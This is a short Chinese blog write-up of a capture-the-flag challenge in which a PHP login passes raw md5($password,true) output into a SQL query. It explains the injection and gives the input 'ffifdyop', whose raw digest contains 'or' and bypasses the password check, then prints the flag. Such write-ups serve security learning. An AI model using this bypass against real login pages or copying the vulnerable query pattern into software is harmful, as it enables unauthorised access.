CTF-实验吧后台登陆

原创

才不是小弱鸡 于 2018-05-07 19:59:50 发布 5569 收藏 1
分类专栏： ctf web 文章标签： ctf

题目：http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php

一言不合看源码

```
<!-- $password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
    if(mysqli_num_rows($result)>0){
        echo 'flag is :'.$flag;
    }
    else{
        echo '密码错误!';
```


果然有猫腻，PHP代码的意思大概是用输入经过md5加密后的密码和admin用户名查询，结果等于sql，然后看数据库中是否存在sql。

注意这句

```
$sql = "SELECT * FROM admin WHERE username = 'admin' and password ='".md5($password,true)."'";
```

这里显然是个sql注入点，注入方式参考：https://blog.csdn.net/qq_31481187/article/details/59727015

（4）MD5注入

```
1 $sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
```

md5($password,true)将MD5值转化为了十六进制
思路比较明确，当md5后的hex转换成字符串后，如果包含 'or' 这样的字符串，那整个sql变成

```
1 SELECT * FROM admin WHERE pass = ''or'6<trash>'
```

提供一个字符串：ffifdyop

直接输入ffifdyop便可以得到flag了

flag is :flag{ffifdyop_has_trash}